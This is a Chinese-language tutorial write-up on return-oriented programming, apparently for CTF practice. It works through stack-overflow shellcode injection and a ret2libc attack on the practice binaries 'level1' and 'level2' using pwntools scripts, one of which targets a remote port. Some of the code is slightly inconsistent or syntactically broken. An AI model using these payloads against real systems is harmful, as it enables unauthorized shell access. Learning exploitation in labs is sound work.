ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。
Control Flow Hijack 程序流劫持
比较常见的程序流劫持就是栈溢出,格式化字符串攻击和堆溢出了。通过程序流劫持,攻击者可以控制PC指针从而执行目标代码。为了应对这种攻击,系统防御者也提出了各种防御方法,最常见的方法有DEP(堆栈不可执行),ASLR(内存地址随机化),Stack Protector(栈保护)等。
level1:无防护32位
ida伪代码:
进入vulnerable(危险)函数:
从char buf (后面的注释)这一段可知其大小大概为0x88+0x10.
下面的read函数256u表示允许读入256个字符,显然存在溢出。
进入buf:
所以(下面的没截下来)buf可放入0x88+0x8个字符(140),还可以通过调试进一步验证。
那么既然啥防护都没开我们的思路就很清晰了:编写对应的shellcode填入栈中,栈中剩余的空间随便填满,直到改变返回地址,并将返回地址改为我们shellcode的首地址。
调试:
在read函数时制造200个字符:
所以140个字符+ret返回地址即可
现在的问题就是找到这个buf的首地址(按照计划shellcode就在首地址)
由于各种玄学问题buf正真的地址不是我想的那样,这里我引用蒸米@阿里聚安全的原话:
对初学者来说这个shellcode地址的位置其实是一个坑。因为正常的思维是使用gdb调试目标程序,然后查看内存来确定shellcode的位置。但当你真的执行exp的时候你会发现shellcode压根就不在这个地址上!这是为什么呢?原因是gdb的调试环境会影响buf在内存中的位置,虽然我们关闭了ASLR,但这只能保证buf的地址在gdb的调试环境中不变,但当我们直接执行./level1的时候,buf的位置会固定在别的地址上。
解决方法:开启core dump功能。
指令:ulimit -c unlimited
sudo sh -c ‘echo “/tmp/core.%t” > /proc/sys/kernel/core_pattern’
开启后,当运行程序出现内存错误时,系统会生成一个core dump文件在tmp目录下。然后我们用gdb查看该core文件,来推测buf真正的地址。
接下来调试core文件:
下面这一步我不太明白为啥是$esp-144得到buf地址。个人觉得应该是-140,如果不正确可以扩大范围
将这里的字符串和我们之前造的字符串对比是一致的。所以可以知道我们输入的字符串放在0xffffd000这里。所以buf地址就是0xffffd000.可以写exp了。
#level1
sh = process("level1")
context(arch='i386', os='linux', endian='little', word_size=32)
shellcode = asm(shellcraft.sh())
payload = shellcode + "a"*(140-len(shellcode)) + p32(0xffffcff0)
#gdb.attach(sh) ——这里启用的话可以进行调试。
sh.sendline(payload)
sh.interactive()
成功!!
level2:NX开启,栈不可执行!
程序还是一样的就是在编译的时候开其NX保护机制。
那么像上面的方法将shellcode填入栈中,再用ret跳转到栈上执行shellcode的方法就不行了。
小知识:ps指令查看进程(注意pid)
如果你通过sudo cat /proc/[pid]/maps查看,你会发现level1的stack是rwx的,但是level2的stack却是rw的。
接下来由于各种基层问题我引用蒸米的原文(其实是我是辣鸡):
我们知道level2调用了libc.so,并且libc.so里保存了大量可利用的函数,我们如果可以让程序执行system(“/bin/sh”)的话,也可以获取到shell。既然思路有了,那么接下来的问题就是如何得到system()这个函数的地址以及”/bin/sh”这个字符串的地址。如果关掉了ASLR的话,system()函数在内存中的地址是不会变化的,并且libc.so中也包含”/bin/sh”这个字符串,并且这个字符串的地址也是固定的。那么接下来我们就来找一下这个函数的地址。这时候我们可以使用gdb进行调试。然后通过print和find命令来查找system和”/bin/sh”字符串的地址。
步骤:
首先再main函数上下一个断点,然后执行程序,这样的话程序会加载libc.so到内存中。
通过print system这个命令来获取system函数在内存中的位置。
通过print __libc_start_main这个命令获取libc.so在内存中的起始位置。
通过find命令查找/bin/sh这个字符串。
图中字符串/bin/sh有两个一个实在libc中的另一个是出题者给的hint(这个在ida中的字符串也可以找到)两个都可以用。
可以写exp了:
from pwn import*
#xctfpwn6 == rop level2
sh = process("level2")
systemaddr = 0xf7e19d10
binshaddr = 0x804a024
ret = 0x804a024
#要注意的是system()后面跟的是执行完system函数后要返回地址,接下来才是”/bin/sh”字符串的地址。因为我们只需要执行system("/bin/sh")函数所以system的返回地址可任意。
payload = "a"*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)
sh.sendline(payload)
sh.interactive()
连接到端口时脚本为:
from pwn import*
context.log_level = 'debug' //虽然不是很明白,但加上这个是有点用处的,可以显示一些细节。
elf = ELF(“level2") // elf只是一个名字,level2是本地文件。
sysaddr = elf.symbols['system'] // .symbols是用来搜寻函数的,此处搜寻system的地址(在本地文件了level2中搜寻)
![](https://s1.ax1x.com/2020/05/23/Yvkrgx.png)
binshaddr = elf.search("/bin/sh").next() // .search 找字符串,汇编代码或者某个数值的地址。
![](https://s1.ax1x.com/2020/05/23/Yvkw59.png)
payload = "a"*140 + p32(sysaddr) + p32(0) + p32(binshaddr)
sh = remote("******", port)
sh.sendline(payload)
sh.interactive()
这里由ida字符串查看可知:
本地文件里包括system与/bin/sh,所以在使用相关搜索功能时可以查询到。